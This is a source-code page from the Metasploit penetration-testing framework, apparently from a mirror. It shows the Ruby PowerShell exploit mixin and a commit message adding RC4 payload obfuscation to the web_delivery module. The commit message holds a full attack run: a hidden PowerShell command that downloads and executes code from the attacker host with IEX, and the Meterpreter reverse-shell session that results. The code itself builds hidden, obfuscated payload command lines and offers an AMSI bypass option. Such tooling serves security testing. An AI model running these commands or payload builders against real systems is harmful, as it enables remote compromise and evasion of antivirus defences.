Files
metasploit-gs/lib/msf/core/exploit/powershell.rb
T
Adrian Vollmer ff9dad2b28 Add option powershell::exec_rc4 in web_delivery
This options makes use of RC4 for obfuscating powershell payloads. See
https://github.com/rapid7/rex-powershell/pull/14.

Now that the PR in rex-powershell has been merged, I am submitting this
PR which provides the new option powershell::exec_rc4 to make use of the
functionality added by the other PR. It enables using unstaged payloads
in web_delivery and obfuscates everything with RC4.

At first I wanted to include an AMSI bypass, but the maintainers were
against it, as it is a rapidly moving target. However, please note that
I'm using the same idea in another project of mine
(https://github.com/AdrianVollmer/PowerHub) and Matt Graber's original
AMSI bypass still works when obfuscating each string with RC4.

For verification and testing, the following output shows the steps you
need to take (here all included in the command line). Obviously, LHOST
needs to be adjusted.

    $ msfconsole -x 'use exploit/multi/script/web_delivery; set target 2; set payload windows/x64/meterpreter_reverse_https; set lhost 192.168.11.2; set powershell::exec_rc4 true; set uripath rc4; run'
    [...]
    15:43:34>192.168.11.2[0] exploit(multi/script/web_delivery) >
    [*] [2019.10.26-15:43:34] Started HTTPS reverse handler on https://192.168.11.2:8443
    [*] [2019.10.26-15:43:34] Using URL: http://0.0.0.0:8080/rc4
    [*] [2019.10.26-15:43:34] Local IP: http://192.168.11.2:8080/rc4
    [*] [2019.10.26-15:43:34] Server started.
    [*] [2019.10.26-15:43:34] Run the following command on the target machine:
    powershell.exe -nop -w hidden -c $K=new-object net.webclient;$K.proxy=[Net.WebRequest]::GetSystemWebProxy();$K.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $K.downloadstring('http://192.168.11.2:8080/rc4');
    [*] [2019.10.26-15:43:37] 192.168.11.3     web_delivery - Delivering Payload (372601) bytes
    [*] [2019.10.26-15:43:38] https://192.168.11.2:8443 handling request from 192.168.11.3; (UUID: rlscader) Redirecting stageless connection from /ZyJn03h_PH9FDUQPGLkIhww9tmyD1k4jPjMnjneqaASfzgzxsFJHS0VFH8s with UA 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko'
    [*] [2019.10.26-15:43:38] https://192.168.11.2:8443 handling request from 192.168.11.3; (UUID: rlscader) Attaching orphaned/stageless session...
    [*] Meterpreter session 1 opened (192.168.11.2:8443 -> 192.168.11.3:49820) at 2019-10-26 15:43:38 +0200
    sessions -i 1
    [*] Starting interaction with 1...

    meterpreter > sysinfo
    Computer        : SYSS-AVOLLMER-W
    OS              : Windows 10 (10.0 Build 18362).
    Architecture    : x64
    System Language : de_DE
    Domain          : WORKGROUP
    Logged On Users : 2
    Meterpreter     : x64/windows
2020-02-23 11:32:48 +01:00

258 lines
9.4 KiB
Ruby

# -*- coding: binary -*-
require 'rex/powershell'
module Msf
module Exploit::Powershell
def initialize(info = {})
super
register_advanced_options(
[
OptBool.new('Powershell::persist', [true, 'Run the payload in a loop', false]),
OptInt.new('Powershell::prepend_sleep', [false, 'Prepend seconds of sleep']),
OptBool.new('Powershell::prepend_protections_bypass', [true, 'Prepend AMSI/SBL bypass', false]),
OptBool.new('Powershell::strip_comments', [true, 'Strip comments', true]),
OptBool.new('Powershell::strip_whitespace', [true, 'Strip whitespace', false]),
OptBool.new('Powershell::sub_vars', [true, 'Substitute variable names', false]),
OptBool.new('Powershell::sub_funcs', [true, 'Substitute function names', false]),
OptBool.new('Powershell::exec_in_place', [true, 'Produce PSH without executable wrapper', false]),
OptBool.new('Powershell::exec_rc4', [true, 'Encrypt PSH with RC4', false]),
OptBool.new('Powershell::remove_comspec', [true, 'Produce script calling powershell directly', false]),
OptBool.new('Powershell::noninteractive', [true, 'Execute powershell without interaction', true]),
OptBool.new('Powershell::encode_final_payload', [true, 'Encode final payload for -EncodedCommand', false]),
OptBool.new('Powershell::encode_inner_payload', [true, 'Encode inner payload for -EncodedCommand', false]),
OptBool.new('Powershell::wrap_double_quotes', [true, 'Wraps the -Command argument in single quotes', true]),
OptBool.new('Powershell::no_equals', [true, 'Pad base64 until no "=" remains', false]),
OptEnum.new('Powershell::method', [true, 'Payload delivery method', 'reflection', %w[net reflection old msil]])
]
)
end
#
# Return a script from path or string
#
def read_script(script_path)
Rex::Powershell::Script.new(script_path)
end
#
# Return an array of substitutions for use in make_subs
#
def process_subs(subs)
return [] if subs.nil? || subs.empty?
new_subs = []
subs.split(';').each do |set|
new_subs << set.split(',', 2)
end
new_subs
end
#
# Insert substitutions into the powershell script
# If script is a path to a file then read the file
# otherwise treat it as the contents of a file
#
def make_subs(script, subs)
subs.each do |set|
script.gsub!(set[0], set[1])
end
script
end
#
# Return an encoded powershell script
# Will invoke PSH modifiers as enabled
#
# @param script_in [String] Script contents
#
# @return [String] Encoded script
def encode_script(script_in, eof = nil)
opts = {}
datastore.select { |k, v| k =~ /^Powershell::(strip|sub)/ && v }.keys.map do |k|
mod_method = k.split('::').last.intern
opts[mod_method.to_sym] = true
end
Rex::Powershell::Command.encode_script(script_in, eof, opts)
end
#
# Return an decoded powershell script
#
# @param script_in [String] Encoded contents
#
# @return [String] Decoded script
def decode_script(script_in)
return script_in unless
script_in.to_s.match(%r{[A-Za-z0-9+/]+={0,3}})[0] == script_in.to_s &&
(script_in.to_s.length % 4).zero?
Rex::Powershell::Command.decode_script(script_in)
end
#
# Return a gzip compressed powershell script
# Will invoke PSH modifiers as enabled
#
# @param script_in [String] Script contents
# @param eof [String] Marker to indicate the end of file appended to script
#
# @return [String] Compressed script with decompression stub
def compress_script(script_in, eof = nil)
opts = {}
datastore.select { |k, v| k =~ /^Powershell::(strip|sub)/ && v }.keys.map do |k|
mod_method = k.split('::').last.intern
opts[mod_method.to_sym] = true
end
Rex::Powershell::Command.compress_script(script_in, eof, opts)
end
#
# Return a decompressed powershell sript
#
# @param script_in [String] Compressed contents with decompression stub
#
# @return [String] Decompressed script
def decompress_script(script_in)
return script_in unless script_in.match?(/FromBase64String/)
Rex::Powershell::Command.decompress_script(script_in)
end
#
# Generate a powershell command line, options are passed on to
# generate_psh_args
#
# @param opts [Hash] The options to generate the command line
# @option opts [String] :path Path to the powershell binary
# @option opts [Boolean] :no_full_stop Whether powershell binary
# should include .exe
#
# @return [String] Powershell command line with arguments
def generate_psh_command_line(opts)
Rex::Powershell::Command.generate_psh_command_line(opts)
end
#
# Generate arguments for the powershell command
# The format will be have no space at the start and have a space
# afterwards e.g. "-Arg1 x -Arg -Arg x "
#
# @param opts [Hash] The options to generate the command line
# @option opts [Boolean] :shorten Whether to shorten the powershell
# arguments (v2.0 or greater)
# @option opts [String] :encodedcommand Powershell script as an
# encoded command (-EncodedCommand)
# @option opts [String] :executionpolicy The execution policy
# (-ExecutionPolicy)
# @option opts [String] :inputformat The input format (-InputFormat)
# @option opts [String] :file The path to a powershell file (-File)
# @option opts [Boolean] :noexit Whether to exit powershell after
# execution (-NoExit)
# @option opts [Boolean] :nologo Whether to display the logo (-NoLogo)
# @option opts [Boolean] :noninteractive Whether to load a non
# interactive powershell (-NonInteractive)
# @option opts [Boolean] :mta Whether to run as Multi-Threaded
# Apartment (-Mta)
# @option opts [String] :outputformat The output format
# (-OutputFormat)
# @option opts [Boolean] :sta Whether to run as Single-Threaded
# Apartment (-Sta)
# @option opts [Boolean] :noprofile Whether to use the current users
# powershell profile (-NoProfile)
# @option opts [String] :windowstyle The window style to use
# (-WindowStyle)
#
# @return [String] Powershell command arguments
def generate_psh_args(opts)
return '' unless opts
unless opts.key? :shorten
opts[:shorten] = (datastore['Powershell::method'] != 'old')
end
Rex::Powershell::Command.generate_psh_args(opts)
end
#
# Wraps the powershell code to launch a hidden window and
# detect the execution environment and spawn the appropriate
# powershell executable for the payload architecture.
#
# @param ps_code [String] Powershell code
# @param payload_arch [String] The payload architecture 'x86'/'x86_64'
# @param encoded [Boolean] Indicates whether ps_code is encoded or not
# @return [String] Wrapped powershell code
def run_hidden_psh(ps_code, payload_arch, encoded)
arg_opts = {
noprofile: true,
windowstyle: 'hidden'
}
# Old technique fails if powershell exits..
arg_opts[:noexit] = (datastore['Powershell::method'] == 'old')
arg_opts[:shorten] = (datastore['Powershell::method'] != 'old')
Rex::Powershell::Command.run_hidden_psh(ps_code, payload_arch, encoded, arg_opts)
end
#
# Creates a powershell command line string which will execute the
# payload in a hidden window in the appropriate execution environment
# for the payload architecture. Opts are passed through to
# run_hidden_psh, generate_psh_command_line and generate_psh_args
#
# @param pay [String] The payload shellcode
# @param payload_arch [String] The payload architecture 'x86'/'x86_64'
# @param opts [Hash] The options to generate the command
# @option opts [Boolean] :persist Loop the payload to cause
# re-execution if the shellcode finishes
# @option opts [Integer] :prepend_sleep Sleep for the specified time
# before executing the payload
# @option opts [Integer] :exec_rc4 Encrypt payload with RC4
# @option opts [Boolean] :prepend_protections_bypass Prepend AMSI/SBL bypass
# @option opts [Boolean] :exec_rc4 Encrypt payload with RC4
# @option opts [String] :method The powershell injection technique to
# use: 'net'/'reflection'/'old'
# @option opts [Boolean] :encode_inner_payload Encodes the powershell
# script within the hidden/architecture detection wrapper
# @option opts [Boolean] :encode_final_payload Encodes the final
# powershell script
# @option opts [Boolean] :remove_comspec Removes the %COMSPEC%
# environment variable at the start of the command line
# @option opts [Boolean] :wrap_double_quotes Wraps the -Command
# argument in double quotes unless :encode_final_payload
#
# @return [String] Powershell command line with payload
def cmd_psh_payload(pay, payload_arch, opts = {})
%i[persist prepend_sleep prepend_protections_bypass exec_in_place exec_rc4 encode_final_payload encode_inner_payload
remove_comspec noninteractive wrap_double_quotes no_equals method].map do |opt|
opts[opt] = datastore["Powershell::#{opt}"] if opts[opt].nil?
end
unless opts.key? :shorten
opts[:shorten] = (datastore['Powershell::method'] != 'old')
end
template_path = Rex::Powershell::Templates::TEMPLATE_DIR
command = Rex::Powershell::Command.cmd_psh_payload(pay, payload_arch, template_path, opts)
vprint_status("Powershell command length: #{command.length}")
command
end
def bypass_powershell_protections
Rex::Powershell::PshMethods.bypass_powershell_protections
end
#
# Useful method cache
#
module PshMethods
include Rex::Powershell::PshMethods
end
end
end